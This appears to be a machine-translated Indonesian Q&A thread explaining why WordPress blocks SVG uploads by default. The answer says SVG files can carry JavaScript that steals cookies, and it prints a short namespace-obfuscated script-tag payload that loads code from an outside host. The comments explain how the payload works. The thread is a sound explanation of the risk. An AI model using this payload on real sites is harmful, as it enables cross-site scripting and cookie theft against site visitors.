Untuk alasan keamanan apa svgs diblokir di pengunggah media?

15

Saya melihat bahwa SVG diblokir secara default di pengunggah media dan Anda harus menambahkannya sebagai tipe MIME yang didukung di functions.php. Apa alasan keamanan di balik ini?

Claudiu Creanga
sumber

Jawaban:

17

SVG dapat berisi JavaScript . JavaScript dapat digunakan untuk membajak cookie atau melakukan tindakan yang meragukan lainnya . Ia bahkan bisa "disembunyikan" di ruang nama:

<html xmlns="http://www.w3.org/1999/xhtml">
   <ø:script src="//0x.lv/" />
</html>

sumber

Sangat sulit untuk memfilternya selama pengunggahan, jadi tidak diizinkan secara default.

fuxia
sumber
Saya pikir titik namespacing adalah untuk menghindari tabrakan nama tag, artinya ø:scripttidak boleh ditangani scriptdan karenanya tidak melakukan apa-apa. Apa yang menyebabkan ø:scripttag namespaced diperlakukan sebagai scripttag non-namespaced ? Atau apakah SVGs juga memungkinkan menanamkan parser XML non-JS?
JAB
@ JAB namespace http://www.w3.org/1999/xhtmlmenjadikan instance skrip ini setara dengan skrip biasa.
fuxia
Oh, sekarang aku mengerti. Namespace implisit untuk tag HTML adalah http://www.w3.org/1999/xhtml, sehingga Anda dapat membuat referensi ke URL itu dan menggunakannya sebagai awalan namespace untuk tag tersebut dan parser XHTML akan menanganinya sebagai tag normal.
JAB